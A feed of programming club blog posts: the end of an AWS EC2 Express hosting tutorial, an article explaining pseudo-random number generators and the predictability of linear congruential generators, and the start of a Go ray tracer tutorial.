<p>However when we do that, we won’t get any response. This is because the port 3000 of our machine needs to be exposed to capture requests.</p>
<p>To do that:</p>
<p>Go to AWS Console Dashboard again make sure that your location is set to mumbai</p>
<p>In the recently visited tab click on EC2 This will open the EC2 Dashboard which will look like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1733923944580/6366a1b1-04d5-4786-b7cc-a46b3c8a9568.png" alt class="image--center mx-auto" /></p>
<p>You can see that in the Instances (Running) we have a running instance, click on that</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeRGOwou-2D1IliveNYptTav4nxeg07O4qE3dwHv-fLdnMZr_Gv2YQ1BlsnG8GJvNfIgcvbqzHrBpY73aUmyQQ-4wlMzl11JH1aoRJaJtSIXO38KxjPyZiB0qA570l1LsN84olFy4hCcK-sBxTJfJwKfcIo?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>You can see that the cops community instance that we started is still running to configure its security, click on the instance ID of your instance.</p>
<p>This will open an instance summary which will look like this:</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfx57HKL1hO7QhmIowW_dy8rDFuY7QSlG2YO8NYDKkJ1kmvb29Us1AEk4GjpGOFwkKGupgCyGqUiYfIUnhee1MDhxCLxSJjsgz5Av2QfbPQyv1DZ-LDfZY5i4dH3WLzubrCisAueGZoizRBSa6i0uihFZyG?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Scroll below and choose the security tab, you should see something like this</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXc8CoKy7JGyJNjtKrJCdQvxsWhnfHYBqFqWi9LKgCilCoSEdSr0MUuublqAw5XX3TR2ND2eZiLHRhNV7_ilgeacfeJdWTK8HOxEERdi4_aCKsynyw266tkgMK1sEqAHE_7knUeA587bRKgUD8NMPIl2I50?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Click on the security groups link, You may see something like this</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdeSgte7nLUDlJrpVLJExUCteRyn39j4_QKxhyCj8nzg5Kx0pnlMzY0U5a_5MQ__en4g-dXcZdeU2ou1keCgZCIOF48X4f5Opqd40m5elM9DrJSqFLIFLFnW-iCPPlr3O6BmO8wx2rIiZ9KXnhNOq0uBkE?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Here we have to edit inbound rules to allow incoming traffic from anywhere to port 3000</p>
<p>Click on edit inbound rules</p>
<p>Add a custom TCP Rule, set the port range to 3000 and set the source to anywhere. This exposes port 3000 of our machine to receive traffic from anywhere.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfiGI8WVbwhm0AZv1eVrU4zt4N_eh-0uoXCxUMHWJab1FSZwL-aCQyySloENwwoYFKSYDdRCN9pZk8qvJsC70ZWtGk52Fx3zuLej-bawpKzIDpEob6N8txeb-IKcoKqU5dYw3RMFv6DCzKcvIG9By6xKtnW?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>This is how your inbound rules should look like, Save the rules.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfWtaVigr-5xSE2CH1L8tASJBJoKlqtNy9bmEH2noe_UnrSrVnSZju0q8TDTdhG6_E-1vED6c-iLBaKY8qoo9qFSNhDI2jYn03Gw1j6G4wCz3PybP4u3-z5CXFyizbj1Xezgqug8CqC3KZ5tplKrpJFD4p0?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>You will land on this page, click on the EC2 Dashboard on the top left again, Click on Instances (Running), Click on instance Id, you will land on the summary page again which may look like this</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfNegEogwvWYMXNpVvkwPNp4svVFScpY0MjDJ85MGC_tlUP_sqKqJmcQ5iAiBi2SbIPxvtHMMOQFRHk4sUiABjbstAzP10AiDfSpzrruMT9P3TiA7Ig3QfXt_9f-13I9kktalLvqzg0sE7Rc0YYSn3v9sxF?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Click on Connect, Connect using EC2 instance connect like we did previously, and restart the server if it was closed using <code>$ node index.js</code></p>
<p>Copy the public IP that you can see below the terminal</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdUDacgqyDbygRY-P4RJOtqdmLEX9hpaTPv6NcgVs8LmKoIfKoWPiqAO0kiztaRS8qZhyKS5U0UJJaKK_L12K1W1EWGSVRQ_UQfKksiwmjkXRZbgZLarh_3pM3eicMgYu5KW77xrGc4YTAboY7jjkVMbdnU?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>In your browser, search for http://&lt;YOUR_PUBLIC_IP&gt;:3000 (http not https !!!! since we haven’t configured SSL certificates yet)</p>
<p>You will see the message, “Hello from AWS” from our server</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfLQJ3YAwMjYYmeX4Lep6YanlZfwJp9u0BU4OJI_0-wn3KYQ_26A0O3a_ks7BgOn4Ggf_cJUtQGOA3ZXNqkblEzo2IsiNtr76ZlRdAuFB0-6_ziDysisigh6TLydvKsGG7zBvihJbE9i7MCwsJ5-18w-4zG?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Our Server is running properly! Kudos for coming up this far, once you’re done playing around with the instance it is very important to shut it down so that it doesn't rack up any bills unknowingly!!!!! <strong>IMPORTANT PLEASE DON’T SKIP OR IT MAY COST YOU MONEY FROM YOUR CREDIT CARD IF YOUR FREE TIER HAS EXPIRED!!!!!</strong></p>
<p>Go to <strong>EC2 Dashboard →</strong> Click on Instances (running)</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdaznV2g3V0HLATYYZ0LLf33h_xsNL6hVNGOf0RR0iqmPtSLZ4_Fgisp4F_3JWenTUWiZrcQDgaK5SwyQmjOfW5uHOgesqRAII07bSTBmhc8IZAoVHMg1TaTQHBe9Ltlne5pjZcmpgE1ZJTjRlIq92Lqjk_?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Right click on <strong>instance ID</strong></p>
<p>Before stopping instance we must also stop any associated resources</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXcjFID5TbysZSUdVfa_xWksbbGYff-HMzaJK4opyGSAoxwgGQ3E18AcE6G2LPhmD0w54w73v56-1vGdJYreMqsaMwVE7Zf49yz1h3RVmO-5DuAbhbJA1J3XG_EXJN1DCzHhJzvlEFlTS7ABzVgdxAHJhrCC?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Click on the volume ID and press stop</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXfrlVG3uDYYTaMU9LGZJ6gW9r4F_B6dMxYkc3AA_YjeJl1yI6zNAsSfk6uiU8j2kAfpYmkq_pJQj3JxYWQh9ckQLuoGmn3TSkWPaaRxkMD2yNTbqf2h291nz084GHgZj88HGqgEWXFiaE-XBCmUG074_pU?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>You should see that the instance is Stopped, this may take some time, be patient!!!<br />In the new tab that has opened, (You can also go here by scrolling down on the menu on left and selecting volumes)</p>
<p>Click on the volume id and Force Detach, type in detach in the menu for confirmation</p>
<p>Once you do that right click again</p>
<p>And delete volume.</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXesFlSOQ_UNRcbV1g7mumkqi9afKzOGMfdq9-p6NGyYCZM0ALAsbsB9BV4twe2FbgloPy0SaYko7Nc_NyodK1QNfp8ONA381yhc85yMImNC-QAkb8h0BRYKCHU3LdIaUjM8w0SFQBz9Gypx5N9If_JPH4VO?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Go to instances tab again by scrolling up on the menu on left and right click on Instance ID of the instance that you don’t need anymore.</p>
<p>Click on terminate instance.</p>
<p>After a while you should see that the instance is terminated</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXdWQ3yN3_LvWj8NWnM9-EUXuBpeo2lXqBBGEJSRBdgUywT7EvLqtQ18KlAYtdZBg9FPisWMSdRkpRt3ecWJpu1mahFUPCNEOKz_mjcYKRP3hcxvG7CZ2PqLw9XSB1XBg91ZNL3kjqTuodarC2hLRkTG9L8?key=fMMoyYknXHI9FlpBgooO6A" alt /></p>
<p>Congratulations on hosting your first Express app on AWS EC2—what a fantastic milestone in your cloud computing journey!</p>
<p>As an exercise I urge you all host a server in <strong>any language</strong> of your choice that says your name when searched for and post it in the <strong>COPS community groups!</strong></p>
<h1 id="heading-how-is-this-used-in-the-real-world-production-scenario">How is this used in the real world production scenario?</h1>
<h2 id="heading-types-of-cloud-services">Types of Cloud Services:</h2>
<p>Cloud services have revolutionized the way businesses and individuals access and manage technology resources. They provide on-demand access to computing power, platforms, and software over the internet, eliminating the need for traditional on-premises infrastructure. These services are categorized into three main types:</p>
<p>1. <strong>Infrastructure as a Service (IaaS)</strong>: Provides virtualized computing resources over the internet. Examples include AWS EC2 and Azure Virtual Machines.</p>
<ol start="2">
<li><strong>Platform as a Service (PaaS)</strong>: Offers a platform allowing developers to build, test, and deploy applications without worrying about the underlying infrastructure. Examples include AWS Elastic Beanstalk and Google App Engine.</li>
</ol>
<p>3. <strong>Software as a Service (SaaS)</strong>: Delivers software applications over the internet, typically on a subscription basis. Examples include Google Workspace and Microsoft Office 365.</p>
<h2 id="heading-development-practices">Development Practices:</h2>
<p>Modern development practices focus on enhancing scalability, efficiency, and agility in application development. Approaches like <strong>Microservices Architecture</strong>, <strong>Containerization</strong>, <strong>Continuous Integration/Continuous Deployment (CI/CD)</strong>, and <strong>Serverless Computing</strong> empower developers to build, deploy, and manage applications with greater flexibility and speed, leveraging automation and cutting-edge tools for streamlined workflows.</p>
<p>1. <strong>Microservices Architecture</strong>: A design approach where applications are broken down into smaller, independent services that communicate through APIs. This improves scalability and ease of management.</p>
<p>2. <strong>Containerization</strong>: Tools like Docker allow applications to run in isolated environments called containers, ensuring consistency across different deployment environments and improving resource efficiency.</p>
<p>3. <strong>Continuous Integration/Continuous Deployment (CI/CD)</strong>: A development practice that involves automating the testing, building, and deployment of applications to ensure rapid iteration and a smooth release process.</p>
<p>4. <strong>Serverless Computing</strong>: Serverless architectures enable developers to write code without managing infrastructure. Functions are executed in response to events, with cloud providers handling scaling and infrastructure concerns. Examples include AWS Lambda and Azure Functions.</p>
<h2 id="heading-advantages-of-cloud-development">Advantages of Cloud Development:</h2>
<p>Cloud development offers significant advantages, enabling teams to create and deploy applications more efficiently. By leveraging the cloud, developers benefit from faster innovation, improved collaboration, and reduced time-to-market through streamlined infrastructure and readily available pre-built services. This accelerates development processes and fosters greater productivity.</p>
<ol>
<li><p><strong>Faster Innovation</strong>: Cloud services reduce infrastructure management, letting developers focus more on writing code and developing features.</p>
</li>
<li><p><strong>Improved Collaboration</strong>: Cloud platforms enable team members across different geographies to collaborate more effectively through shared environments.</p>
</li>
<li><p><strong>Reduced Time-to-Market</strong>: Cloud platforms offer pre-built services that allow developers to quickly integrate functionality like authentication, storage, and machine learning into applications.</p>
</li>
</ol>
<p>Cloud development not only improves efficiency and scalability but also accelerates innovation by allowing teams to focus on the business logic and features, rather than the underlying infrastructure. As this week’s exercise, we’ll learn how to host a small <strong>server</strong> on <strong>AWS EC2</strong> using it’s GUI</p>
<p>But this is just the beginning. The world of cloud computing is vast and full of opportunities to grow your skills. Next, you can dive deeper into <strong>DNS and networking</strong> to understand how web traffic reaches your application, <strong>containerization</strong> with tools like Docker to make your app more portable, and <strong>container orchestration</strong> with Kubernetes to manage your deployments at scale.</p>
<p>You'll also encounter exciting challenges like <strong>scaling your app</strong> to handle increased traffic, setting up a <strong>reverse proxy</strong> for load balancing and security, and configuring your domain for a professional touch. Don’t forget to explore <strong>SSL certificate management</strong> to secure your app with HTTPS—it’s crucial for building user trust.</p>
<p>Each of these topics adds layers of resilience, performance, and professionalism to your applications. Take it one step at a time, experiment, and don’t be afraid to break things—that’s how you learn!</p>
<p>Best of luck, and may this be the first of many successful deployments in your cloud computing journey!</p>
]]></content:encoded></item><item><title><![CDATA[Random Numbers: Are They Truly Random?]]></title><description><![CDATA[Imagine you are at a lottery shop and have to buy 1 ticket. The owner of the shop randomly picks a number between 1 to 1000 and the person with that ticket wins the lottery. Suppose he uses this following code to pick the random number.
#include <std...]]></description><link>https://blogs.copsiitbhu.co.in/random-numbers-are-they-truly-random</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/random-numbers-are-they-truly-random</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[rng]]></category><category><![CDATA[Security]]></category><category><![CDATA[random numbers]]></category><category><![CDATA[Computer Science]]></category><dc:creator><![CDATA[Rahul R Katarki]]></dc:creator><pubDate>Wed, 09 Oct 2024 17:12:51 GMT</pubDate><content:encoded><![CDATA[<p>Imagine you are at a lottery shop and have to buy 1 ticket. The owner of the shop randomly picks a number between 1 to 1000 and the person with that ticket wins the lottery. Suppose he uses this following code to pick the random number.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt; </span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt; </span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> 
</span>{
    <span class="hljs-keyword">int</span> x = rand()%<span class="hljs-number">1000</span> + <span class="hljs-number">1</span>;
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d\n"</span>, x);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>; 
}
</code></pre>
<p>You are at luck since we can “predict” that the code will always return 384. Continue reading the article to know why this happens.</p>
<h3 id="heading-what-are-random-numbers-and-why-do-we-care-about-them">What are random numbers and why do we care about them?</h3>
<p>Random numbers are numbers that are generated in a way that they cannot be predicted and follow no pattern. Each number has an equal probability of being chosen.</p>
<p>In the world of cryptography, random numbers are fundamental in generating encryption keys and securing communication. If the random numbers used in cryptographic systems aren’t truly random or unpredictable, the entire system becomes vulnerable to attacks.</p>
<h3 id="heading-how-to-generate-them">How to generate them?</h3>
<p>There are mainly 2 types of random number generators(RNGs):</p>
<ul>
<li><p>Pseudo Random Number Generator (PRNG)</p>
</li>
<li><p>True Random Number Generator (TRNG)</p>
</li>
</ul>
<h3 id="heading-pseudo-random-number-generators">Pseudo Random Number Generators</h3>
<p>These are numbers that appear random but are generated by deterministic processes, usually algorithms. They are called pseudorandom because, while they can mimic randomness, they are based on an initial seed value, and the sequence can be reproduced if the seed is known. This is widely used because true randomness is hard to achieve purely using code.</p>
<p>Seed value is a number which uniquely characterizes the sequence of random numbers. We can use the seed value to get back the sequence thus enabling us to predict future random numbers.</p>
<p>Examples for PRNGs include LCG, Mersenne Twister, Xorshift, and Middle Square Method. Let’s look into LCG:</p>
<h3 id="heading-linear-congruence-generator-lcg">Linear Congruence Generator (LCG)</h3>
<p>It is one of the oldest and simplest PRNG algorithms. It is based on the following recurrence relation:</p>
<p>$$X_{n+1} = (aX_n + c)\mod m$$</p><p>Where:</p>
<p>$$X_n \text{ is the current number}$$</p><p>$$X_{n+1} \text{ is the next number}$$</p><p>$$a \text{ is the multiplier constant}$$</p><p>$$c \text{ is the increment constant}$$</p><p>$$m \text{ is the prime modulus}$$</p><p>This recurrence generates numbers in the interval <code>0</code> to <code>m-1</code>. We start off by choosing the first number of the sequence which is the seed and get the subsequent numbers by the recurrence.</p>
<p>For example:</p>
<p>Let:</p>
<p>$$X_1 = 11 \text{, } a = 3\text{, } c = 13 \text{ and } m = 67$$</p><pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt; </span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>

<span class="hljs-keyword">int</span> seed = <span class="hljs-number">11</span>;
<span class="hljs-keyword">int</span> a = <span class="hljs-number">3</span>;
<span class="hljs-keyword">int</span> c = <span class="hljs-number">13</span>;
<span class="hljs-keyword">int</span> m = <span class="hljs-number">67</span>;

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">LCG_next_number</span><span class="hljs-params">(<span class="hljs-keyword">int</span> current_number)</span></span>{
    <span class="hljs-keyword">int</span> next_number = (a*current_number + c)%m;
    <span class="hljs-keyword">return</span> next_number;
}


<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> 
</span>{
    <span class="hljs-keyword">int</span> current_number = seed;
    <span class="hljs-keyword">int</span> length = <span class="hljs-number">10</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; length; i++)
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d, "</span>, current_number);
        <span class="hljs-keyword">int</span> next_number = LCG_next_number(current_number);
        current_number = next_number;
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n"</span>);
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>The first 10 numbers are: <code>11, 46, 17, 64, 4, 25, 21, 9, 40, 66</code></p>
<p>There are a few issues with this type of generation:</p>
<ul>
<li><p><strong>Periodicity</strong>:</p>
<p>  Let’s look at the first 50 terms of this sequence:</p>
<p>  <code>11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44, 11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44, 11, 46, 17, 64, 4, 25</code></p>
<p>  We can notice the numbers repeat after a certain point, i.e after the 22nd number, we repeat <code>11, 46, 17, 64, 4, 25, 21, 9, 40, 66, 10, 43, 8, 37, 57, 50, 29, 33, 45, 14, 55, 44</code> forever. This is clearly bad for a RNG.</p>
<p>  The period is the number of values generated before the sequence starts repeating. The maximum period of an LCG is <code>m</code>, but in practice, the actual period is usually much shorter depending on the choice of parameters <code>a</code>, <code>c</code>, and <code>m</code>.</p>
</li>
<li><p><strong>Some numbers never appear</strong>:</p>
<p>  For the above parameters let’s count the frequency of numbers in the first 1000 numbers.</p>
<pre><code class="lang-c">  <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt; </span></span>
  <span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>

  <span class="hljs-keyword">int</span> seed = <span class="hljs-number">11</span>;
  <span class="hljs-keyword">int</span> a = <span class="hljs-number">3</span>;
  <span class="hljs-keyword">int</span> c = <span class="hljs-number">13</span>;
  <span class="hljs-keyword">const</span> <span class="hljs-keyword">int</span> m = <span class="hljs-number">67</span>;

  <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">LCG_next_number</span><span class="hljs-params">(<span class="hljs-keyword">int</span> current_number)</span></span>{
      <span class="hljs-keyword">int</span> next_number = (a*current_number + c)%m;
      <span class="hljs-keyword">return</span> next_number;
  }

  <span class="hljs-keyword">int</span> frequency[m];

  <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> 
  </span>{
      <span class="hljs-keyword">int</span> current_number = seed;
      <span class="hljs-keyword">int</span> length = <span class="hljs-number">1000</span>;
      <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; length; i++)
      {
          frequency[current_number]++;
          <span class="hljs-keyword">int</span> next_number = LCG_next_number(current_number);
          current_number = next_number;
      }
      <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; m; i++)
      {
          <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d, "</span>, frequency[i]);
      }
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\n"</span>);
      <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
  }
</code></pre>
<p>  We get:</p>
<p>  <code>0, 0, 0, 0, 46, 0, 0, 0, 45, 46, 45, 46, 0, 0, 45, 0, 0, 46, 0, 0, 0, 46, 0, 0, 0, 46, 0, 0, 0, 45, 0, 0, 0, 45, 0, 0, 0, 45, 0, 0, 46, 0, 0, 45, 45, 45, 46, 0, 0, 0, 45, 0, 0, 0, 0, 45, 0, 45, 0, 0, 0, 0, 0, 0, 46, 0, 46</code></p>
<p>  We notice a bunch of zeros which means in the first 1000 numbers we never get those numbers. The frequency count of these numbers will always be zero since the sequence in periodic in nature. Ideally, the frequency distribution should look something like this:</p>
<p>  <code>11, 18, 11, 15, 16, 18, 20, 16, 10, 11, 15, 17, 11, 15, 12, 16, 14, 17, 19, 21, 18, 10, 17, 10, 13, 11, 11, 14, 19, 23, 14, 17, 11, 13, 12, 14, 16, 7, 11, 13, 17, 18, 14, 13, 4, 16, 15, 16, 12, 16, 18, 17, 12, 13, 20, 19, 20, 15, 18, 16, 15, 13, 24, 13, 19, 12, 18</code></p>
<p>  Each number should have a frequency count of around 1000/67 ≈ 15 since each number has an equal likelihood of being chosen.</p>
</li>
</ul>
<p><strong>Predictable</strong>:</p>
<p>If we have the parameters <code>a</code>, <code>c</code> and <code>m</code>, we can predict the next number. But what if we know <code>m</code>, and 3 consecutive terms of the sequence? We can solve for the parameters <code>a</code> and <code>c</code> in this case. Consider the sequence discussed above:</p>
<p>Assume we have the first 3 terms: <code>11, 46 and 17</code> and <code>m = 67</code> . Thus:</p>
<p>$$46 = (11a + c)\mod 67$$</p><p>$$17 = (46a + c) \mod 67$$</p><p>Let’s forget about modulo operation for some time. This would change our equations to linear equation in 2 variables. Solving them we get:</p>
<p>$$a = \frac{-29}{35} \text{ and } c = \frac{1929}{35}$$</p><p>Now bringing in the modulo part by taking the modular inverse of denominator:</p>
<p>$$a = -29 \times 35^{-1} \mod 67 = 3$$</p><p>$$c = 1929 \times 35^{-1} \mod 67 = 13$$</p><p>Upon solving we get <code>a = 3</code> and <code>c = 13</code> which are precisely the parameters we chose to begin with. Python code for the same:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lcg_solver</span>(<span class="hljs-params">x_1, x_2, x_3, m</span>):</span>
    n1 = x_2 - x_3
    d1 = x_1-x_2
    a = n1*pow(d1, <span class="hljs-number">-1</span>, m)
    a = a%m
    c = x_2 - x_1*a
    c = c%m
    <span class="hljs-keyword">return</span> a, c

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    x_1 = <span class="hljs-number">11</span>
    x_2 = <span class="hljs-number">46</span>
    x_3 = <span class="hljs-number">17</span>
    m = <span class="hljs-number">67</span>
    a, c = lcg_solver(x_1, x_2, x_3, m)
    print(<span class="hljs-string">"a = {}\nc = {}\n"</span>.format(a, c))
</code></pre>
<p>Thus LCG is not a good PRNG. C uses LCG to as it’s random number generator. At the start of the article we saw we always got the same number generated. This is because C sets the seed to 1 by default if not initialized. You can use <code>srand(time(0))</code> to get a random seed. But be careful since this may too give predictable results. In Python, we can use the <code>Crypto.Random</code> package to generate cryptographically secure random numbers. Mersenne Twister is a good choice for PRNG as it has an extremely long period and produces good random numbers. It works by maintaining an internal state that consists of 624 32-bit integers (19,937 bits total). These values are updated through a series of bitwise operations and modular arithmetic to produce the next random number in the sequence.</p>
<h3 id="heading-true-random-number-generator">True Random Number Generator</h3>
<p>A true random number generator (TRNG) uses a nondeterministic source to make randomness. It relies on capturing random events from physical processes that are fundamentally unpredictable such as thermal noise, human input like keystrokes or mouse movements, atmospheric noise, etc. These are suitable for cryptographic use as the entropy in these numbers is high.</p>
]]></content:encoded></item><item><title><![CDATA[Let's make a Ray Tracer (in Go)]]></title><description><![CDATA[When you build systems from scratch, you get to control everything, from how fast it runs to how it looks in the end. That’s what systems development is all about. It’s not just about coding—it’s about knowing how things work behind the scenes and br...]]></description><link>https://blogs.copsiitbhu.co.in/lets-make-a-ray-tracer-in-go</link><guid isPermaLink="true">https://blogs.copsiitbhu.co.in/lets-make-a-ray-tracer-in-go</guid><category><![CDATA[Programming Blogs]]></category><category><![CDATA[graphics]]></category><category><![CDATA[Go Language]]></category><category><![CDATA[raytracing]]></category><dc:creator><![CDATA[Sagnik Mandal]]></dc:creator><pubDate>Wed, 09 Oct 2024 17:11:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728493185375/a1444a4d-ee7f-4e43-9ea2-cf492503cb32.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When you build systems from scratch, you get to control everything, from how fast it runs to how it looks in the end. That’s what systems development is all about. It’s not just about coding—it’s about knowing how things work behind the scenes and bringing them to life. That’s where Go comes in—it's a fast, simple, and efficient language that handles both complex tasks and lower-level ones, like building a ray tracer. In this blog, we'll walk through the first steps of building one, taking inspiration from Peter Shirley’s famous <a target="_blank" href="https://raytracing.github.io/books/RayTracingInOneWeekend.html"><em>Ray Tracing in One Weekend</em></a> and adapting it for Go.</p>
<p>For this tutorial, you'll need a basic understanding of physics and math—mainly vectors, which you likely remember from your JEE days—as well as some programming experience. Peter Shirley’s guide was written in C++, but the concepts are universal and can be implemented in any language, like Go.</p>
<h2 id="heading-but-what-exactly-is-a-ray-tracer">But, what exactly is a ray tracer?</h2>
<p><img src="https://imageio.forbes.com/specials-images/imageserve/5e960aa001879f0006d28d10/Image-of-Minecraft-with-and-without-ray-tracing-/960x0.jpg?format=jpg&amp;width=960" alt="Nvidia's RTX Ray Tracing Brings Minecraft To Life" /></p>
<p>Gamers know ray tracing for its realistic lighting in games like Minecraft, making shadows, reflections, and textures look more lifelike. But what is it? Ray tracing is a method that simulates how light moves and interacts with objects, creating more natural-looking scenes by following light rays and how they reflect and bounce.</p>
<h2 id="heading-setup">Setup</h2>
<p>Before we start coding the ray tracer, let’s get the basic setup done. In a new folder, initialise a new Go Module:</p>
<pre><code class="lang-bash">mkdir raytracer &amp;&amp; <span class="hljs-built_in">cd</span> raytracer
go mod init raytracer
</code></pre>
<p>Now, we need a way to save our pixel data. You’re probably familiar with formats like JPG and PNG, which are great for reducing file size but come with added complexity. Since our goal isn’t to build a PNG encoder, we’ll use something simpler: the PPM format.<br />The PPM format encodes the image data in plain text format, which makes creating images in it pretty simple.</p>
<p><img src="https://raytracing.github.io/images/fig-1.01-ppm.jpg" alt /></p>
<p>Also make sure to install a PPM File viewer, you can find many on the internet, but I use the VS Code Extension: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ngtystr.ppm-pgm-viewer-for-vscode">PBM/PPM/PGM Viewer for Visual Studio Code</a>.</p>
<p>Now let’s start writing code🚀</p>
<h2 id="heading-writing-a-ppm-file-encoder">Writing a PPM File Encoder</h2>
<p>We’ll first create a function to create a PPM Image, for now we’ll output a single color</p>
<pre><code class="lang-go"><span class="hljs-keyword">package</span> main

<span class="hljs-keyword">import</span> (
    <span class="hljs-string">"fmt"</span>
    <span class="hljs-string">"os"</span>
)

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">writePPM</span><span class="hljs-params">()</span></span> {
    width := <span class="hljs-number">256</span>
    height := <span class="hljs-number">256</span>
    outputFile := <span class="hljs-string">"output.ppm"</span>

    file, err := os.Create(outputFile)
    <span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
        <span class="hljs-built_in">panic</span>(err)
    }
    <span class="hljs-keyword">defer</span> file.Close() <span class="hljs-comment">// do you know what defer is used for?</span>

    <span class="hljs-comment">// save the header information</span>
    fmt.Fprintf(file, <span class="hljs-string">"P3\n%d %d\n255\n"</span>, width, height)
    <span class="hljs-comment">// loop over each pixel, and set it's value</span>
    <span class="hljs-keyword">for</span> j := <span class="hljs-number">0</span>; j &lt; height; j++ {
        <span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i &lt; width; i++ {
            r := <span class="hljs-number">141</span>
            g := <span class="hljs-number">71</span>
            b := <span class="hljs-number">124</span>
            fmt.Fprintf(file, <span class="hljs-string">"%d %d %d\n"</span>, r, g, b)
        }
    }
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {
    writePPM()
}
</code></pre>
<p>It should output a purple square, something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728389961031/74d2678f-47fd-4eb0-b84b-d5261c133f38.png" alt class="image--center mx-auto" /></p>
<p>Sweet! Now I’d like you guys to modify the code and experiment with making a couple of designs. As an assignment, you can try creating a simple chessboard pattern. Use the pixel positions to alternate between two colors like black and white.</p>
<p><img src="https://raw.githubusercontent.com/MarkHedleyJones/markhedleyjones.github.io/master/media/calibration-checkerboard-collection/Checkerboard-A1-145mm-4x3.svg" alt="Calibration Checkerboard Collection | Mark Hedley Jones" /></p>
<p>This exercise is key to understanding how ray tracing works at its core—changing pixel colors based on certain conditions. In this case, you’ll be alternating the colors based on the position of each pixel. Give it a shot!</p>
<h2 id="heading-creating-the-background">Creating the Background</h2>
<p>We will start by creating a structure to represent points in the 3-D space, we’ll call it Vec3, and also a struct Ray, to represent rays</p>
<pre><code class="lang-go"><span class="hljs-keyword">type</span> Vec3 <span class="hljs-keyword">struct</span> {
    X, Y, Z <span class="hljs-keyword">float64</span>
}

<span class="hljs-keyword">type</span> Ray <span class="hljs-keyword">struct</span> {
    Origin    Vec3
    Direction Vec3
}
</code></pre>
<p>As you can see the Vec3 struct contains the X,Y,Z positions. Now you can write the methods to add, multiply, and normalise the vector.</p>
